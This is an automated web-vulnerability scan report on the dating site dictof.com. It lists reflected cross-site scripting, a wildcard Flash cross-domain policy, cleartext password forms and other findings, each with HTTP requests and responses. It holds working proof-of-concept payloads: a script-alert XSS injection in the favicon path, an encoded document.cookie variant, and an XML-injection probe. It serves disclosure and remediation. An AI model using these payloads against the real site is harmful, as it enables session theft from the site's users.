Reflected XSS, Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, dictof.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Apr 24 11:07:10 CDT 2011.


Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

1. Cross-site scripting (reflected)

2. Flash cross-domain policy

3. Cleartext submission of password

3.1. http://www.dictof.com/

3.2. http://www.dictof.com/login/

4. XML injection

5. Cookie without HttpOnly flag set

6. Password field with autocomplete enabled

6.1. http://www.dictof.com/

6.2. http://www.dictof.com/login/

7. Referer-dependent response

8. Robots.txt file

9. Content type incorrectly stated



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dictof.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload fe6d1<script>alert(1)</script>99e6fce44cd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /favicon.icofe6d1<script>alert(1)</script>99e6fce44cd HTTP/1.1
Host: www.dictof.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=FC101987E2340D1CA7E9F5BBE7019BA1.w1; lc=en; CAMPAIGNE.REFERER_COOKIE=http%3A%2F%2Fkroogy.com%2Fpub%2Fbanner_728_90_random.php; CAMPAIGNE.ENTRY_DATE_COOKIE=1303648014948; CAMPAIGNE.ENTRY_URI_COOKIE=%2F; __utmz=121015709.1303648022.1.1.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/pub/banner_728_90_random.php; __utma=121015709.328301938.1303648022.1303648022.1303648022.1; __utmc=121015709; __utmb=121015709.1.10.1303648022; __utmz=262432266.1303648022.1.1.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/pub/banner_728_90_random.php; __utma=262432266.188043035.1303648022.1303648022.1303648022.1; __utmc=262432266; __utmv=262432266.dating%2Fmillionaire%2Fl1%2Fblack-orange-gray%2Ft023; __utmb=262432266.2.10.1303648022

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Sun, 24 Apr 2011 12:45:23 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: lc=en; Path=/
Content-Language: en
Content-Length: 3651

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Online dating
...[SNIP]...
<p>The page - /favicon.icofe6d1<script>alert(1)</script>99e6fce44cd - does not exist.</p>
...[SNIP]...

2. Flash cross-domain policy  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dictof.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.dictof.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 12:40:09 GMT
Content-Type: text/xml
Connection: close
Last-Modified: Wed, 23 Sep 2009 22:46:44 GMT
ETag: "14f-474467d34fd00"
Accept-Ranges: bytes
Content-Length: 335

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-o
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

3. Cleartext submission of password  previous  next
There are 2 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.


3.1. http://www.dictof.com/  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dictof.com
Path:   /

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET / HTTP/1.1
Host: www.dictof.com
Proxy-Connection: keep-alive
Referer: http://kroogy.com/pub/banner_728_90_random.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 12:40:08 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=9ED7BF71162535497E7BF851F34974FF.w1; Path=/
Set-Cookie: lc=en; Path=/
Set-Cookie: CAMPAIGNE.REFERER_COOKIE=http%3A%2F%2Fkroogy.com%2Fpub%2Fbanner_728_90_random.php; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Set-Cookie: CAMPAIGNE.ENTRY_DATE_COOKIE=1303648808195; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Set-Cookie: CAMPAIGNE.ENTRY_URI_COOKIE=%2F; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Content-Language: en
Content-Length: 34995

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Online dating with w
...[SNIP]...
<div class="LoginIndex"> <form action="/login/" method="post"> <!--<p class="error">
...[SNIP]...
<dd><input name="password" type="password" id="password" value=""/></dd>
...[SNIP]...

3.2. http://www.dictof.com/login/  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dictof.com
Path:   /login/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /login/ HTTP/1.1
Host: www.dictof.com
Proxy-Connection: keep-alive
Referer: http://www.dictof.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=121015709.1303648022.1.1.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/pub/banner_728_90_random.php; __utmz=262432266.1303648022.1.1.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/pub/banner_728_90_random.php; JSESSIONID=503A9BE5C7A58443B7733BAF9AD970FD.w1; lc=en; CAMPAIGNE.REFERER_COOKIE=http%3A%2F%2Fwww.dictof.com%2Ffavicon.icofe6d1%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E99e6fce44cd; CAMPAIGNE.ENTRY_DATE_COOKIE=1303661135545; CAMPAIGNE.ENTRY_URI_COOKIE=%2F; __utma=121015709.328301938.1303648022.1303648022.1303661140.2; __utmc=121015709; __utmb=121015709.1.10.1303661140; __utma=262432266.188043035.1303648022.1303648022.1303661140.2; __utmc=262432266; __utmv=262432266.dating%2Fmillionaire%2Fl1%2Fblack-orange-gray%2Ft023; __utmb=262432266.2.10.1303661140

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 16:05:40 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Language: en
Content-Length: 7298

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Online dating
...[SNIP]...
</h1> <form name="Login" action="/login/" method="post"> <p class="error">
...[SNIP]...
<dd><input name="password" type="password" id="password" value=""/> <a href="/login/recover/" class="second">
...[SNIP]...

4. XML injection  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://www.dictof.com
Path:   /favicon.ico

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Issue background

XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.

This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.

Issue remediation

The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: &lt; and &gt;.

Request

GET /favicon.ico]]>> HTTP/1.1
Host: www.dictof.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=FC101987E2340D1CA7E9F5BBE7019BA1.w1; lc=en; CAMPAIGNE.REFERER_COOKIE=http%3A%2F%2Fkroogy.com%2Fpub%2Fbanner_728_90_random.php; CAMPAIGNE.ENTRY_DATE_COOKIE=1303648014948; CAMPAIGNE.ENTRY_URI_COOKIE=%2F; __utmz=121015709.1303648022.1.1.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/pub/banner_728_90_random.php; __utma=121015709.328301938.1303648022.1303648022.1303648022.1; __utmc=121015709; __utmb=121015709.1.10.1303648022; __utmz=262432266.1303648022.1.1.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/pub/banner_728_90_random.php; __utma=262432266.188043035.1303648022.1303648022.1303648022.1; __utmc=262432266; __utmv=262432266.dating%2Fmillionaire%2Fl1%2Fblack-orange-gray%2Ft023; __utmb=262432266.2.10.1303648022

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Sun, 24 Apr 2011 12:45:28 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: lc=en; Path=/
Content-Language: en
Content-Length: 3614

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Online dating
...[SNIP]...
<a href="/sitemap.xml">XML Site Map</a>
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.dictof.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET / HTTP/1.1
Host: www.dictof.com
Proxy-Connection: keep-alive
Referer: http://kroogy.com/pub/banner_728_90_random.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 12:40:08 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=9ED7BF71162535497E7BF851F34974FF.w1; Path=/
Set-Cookie: lc=en; Path=/
Set-Cookie: CAMPAIGNE.REFERER_COOKIE=http%3A%2F%2Fkroogy.com%2Fpub%2Fbanner_728_90_random.php; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Set-Cookie: CAMPAIGNE.ENTRY_DATE_COOKIE=1303648808195; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Set-Cookie: CAMPAIGNE.ENTRY_URI_COOKIE=%2F; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Content-Language: en
Content-Length: 34995

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Online dating with w
...[SNIP]...

6. Password field with autocomplete enabled  previous  next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


6.1. http://www.dictof.com/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.dictof.com
Path:   /

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET / HTTP/1.1
Host: www.dictof.com
Proxy-Connection: keep-alive
Referer: http://kroogy.com/pub/banner_728_90_random.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 12:40:08 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=9ED7BF71162535497E7BF851F34974FF.w1; Path=/
Set-Cookie: lc=en; Path=/
Set-Cookie: CAMPAIGNE.REFERER_COOKIE=http%3A%2F%2Fkroogy.com%2Fpub%2Fbanner_728_90_random.php; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Set-Cookie: CAMPAIGNE.ENTRY_DATE_COOKIE=1303648808195; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Set-Cookie: CAMPAIGNE.ENTRY_URI_COOKIE=%2F; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Content-Language: en
Content-Length: 34995

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Online dating with w
...[SNIP]...
<div class="LoginIndex"> <form action="/login/" method="post"> <!--<p class="error">
...[SNIP]...
<dd><input name="password" type="password" id="password" value=""/></dd>
...[SNIP]...

6.2. http://www.dictof.com/login/  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.dictof.com
Path:   /login/

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /login/ HTTP/1.1
Host: www.dictof.com
Proxy-Connection: keep-alive
Referer: http://www.dictof.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=121015709.1303648022.1.1.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/pub/banner_728_90_random.php; __utmz=262432266.1303648022.1.1.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/pub/banner_728_90_random.php; JSESSIONID=503A9BE5C7A58443B7733BAF9AD970FD.w1; lc=en; CAMPAIGNE.REFERER_COOKIE=http%3A%2F%2Fwww.dictof.com%2Ffavicon.icofe6d1%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E99e6fce44cd; CAMPAIGNE.ENTRY_DATE_COOKIE=1303661135545; CAMPAIGNE.ENTRY_URI_COOKIE=%2F; __utma=121015709.328301938.1303648022.1303648022.1303661140.2; __utmc=121015709; __utmb=121015709.1.10.1303661140; __utma=262432266.188043035.1303648022.1303648022.1303661140.2; __utmc=262432266; __utmv=262432266.dating%2Fmillionaire%2Fl1%2Fblack-orange-gray%2Ft023; __utmb=262432266.2.10.1303661140

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 16:05:40 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Language: en
Content-Length: 7298

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Online dating
...[SNIP]...
</h1> <form name="Login" action="/login/" method="post"> <p class="error">
...[SNIP]...
<dd><input name="password" type="password" id="password" value=""/> <a href="/login/recover/" class="second">
...[SNIP]...

7. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.dictof.com
Path:   /

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET / HTTP/1.1
Host: www.dictof.com
Proxy-Connection: keep-alive
Referer: http://kroogy.com/pub/banner_728_90_random.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 12:40:08 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=9ED7BF71162535497E7BF851F34974FF.w1; Path=/
Set-Cookie: lc=en; Path=/
Set-Cookie: CAMPAIGNE.REFERER_COOKIE=http%3A%2F%2Fkroogy.com%2Fpub%2Fbanner_728_90_random.php; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Set-Cookie: CAMPAIGNE.ENTRY_DATE_COOKIE=1303648808195; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Set-Cookie: CAMPAIGNE.ENTRY_URI_COOKIE=%2F; Expires=Fri, 12-May-2079 15:54:15 GMT; Path=/
Content-Language: en
Content-Length: 34995

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Online dating with www.dictof.com - Front page</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <link rel="shortcut icon" href="/favicon.ico"/> <meta name="keywords" content="personals, dating, online dating, dating online, online dates, meet people, friend finder, dating buddies, singles online, singles social network" />
<meta name="description" content="www.dictof.com online dating - your ultimate source for finding online dates and singles looking for online personals" />
<meta name="google-site-verification" content="76UgEPD8yHldpzTKJTo3mKEmbvWrb2H1GEvtGvpfaUE" /> <meta http-equiv="X-UA-Compatible" content="chrome=1"> <!--[if lte IE 7]> <link href="/theme/system.ie.css" rel="stylesheet" type="text/css"/> <![endif]--> <link href="/theme/index.common.css" rel="stylesheet" type="text/css"/> <link href="/theme/index.css" rel="stylesheet" type="text/css"/> <!--[if lte IE 7]> <link href="/theme/index.ie.css" rel="stylesheet" type="text/css"/> <![endif]--> <!-- Compacted and minified js --> <script language="JavaScript" type="text/javascript" src="/scripts/df.js?"></script> <script language="JavaScript" type="text/javascript" src="/theme/theme.js"></script> <script language="JavaScript" type="text/javascript" src="/scripts/components/Index.js"></script>

</head>

<body>

<div class="holder" id="
...[SNIP]...

Request 2

GET / HTTP/1.1
Host: www.dictof.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 12:40:12 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=A2B392D1CFDADD58A8D17DD65233A9BF.w1; Path=/
Set-Cookie: lc=en; Path=/
Set-Cookie: CAMPAIGNE.ENTRY_DATE_COOKIE=1303648812315; Expires=Fri, 12-May-2079 15:54:19 GMT; Path=/
Set-Cookie: CAMPAIGNE.ENTRY_URI_COOKIE=%2F; Expires=Fri, 12-May-2079 15:54:19 GMT; Path=/
Content-Language: en
Content-Length: 34995

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Online dating with www.dictof.com - Front page</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <link rel="shortcut icon" href="/favicon.ico"/> <meta name="keywords" content="personals, dating, online dating, dating online, online dates, meet people, friend finder, dating buddies, singles online, singles social network" />
<meta name="description" content="www.dictof.com online dating - your ultimate source for finding online dates and singles looking for online personals" />
<meta name="google-site-verification" content="76UgEPD8yHldpzTKJTo3mKEmbvWrb2H1GEvtGvpfaUE" /> <meta http-equiv="X-UA-Compatible" content="chrome=1"> <!--[if lte IE 7]> <link href="/theme/system.ie.css" rel="stylesheet" type="text/css"/> <![endif]--> <link href="/theme/index.common.css" rel="stylesheet" type="text/css"/> <link href="/theme/index.css" rel="stylesheet" type="text/css"/> <!--[if lte IE 7]> <link href="/theme/index.ie.css" rel="stylesheet" type="text/css"/> <![endif]--> <!-- Compacted and minified js --> <script language="JavaScript" type="text/javascript" src="/scripts/df.js?"></script> <script language="JavaScript" type="text/javascript" src="/theme/theme.js"></script> <script language="JavaScript" type="text/javascript" src="/scripts/components/Index.js"></script>

</head>

<body>

<div class="holder" id="header">
   <div class="content">
<div class="cover">
       <div class="Header"> <h2><a href="/start/"><img src="/images/logo.png" alt="dictof.com"/
...[SNIP]...

8. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dictof.com
Path:   /

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.dictof.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 12:40:09 GMT
Content-Type: text/plain; charset=UTF-8
Connection: close
Last-Modified: Mon, 10 Jan 2011 21:59:36 GMT
ETag: "e1-49985156ce200"
Accept-Ranges: bytes
Content-Length: 225

User-agent: *
Crawl-delay: 1

Disallow: /faq/
Disallow: /faq.xhtml
Disallow: /about/
Disallow: /about.xhtml
Disallow: /terms/
Disallow: /terms.xhtml
Disallow: /privacy/
Disallow: /privacy.xh
...[SNIP]...

9. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.dictof.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: www.dictof.com
Proxy-Connection: keep-alive
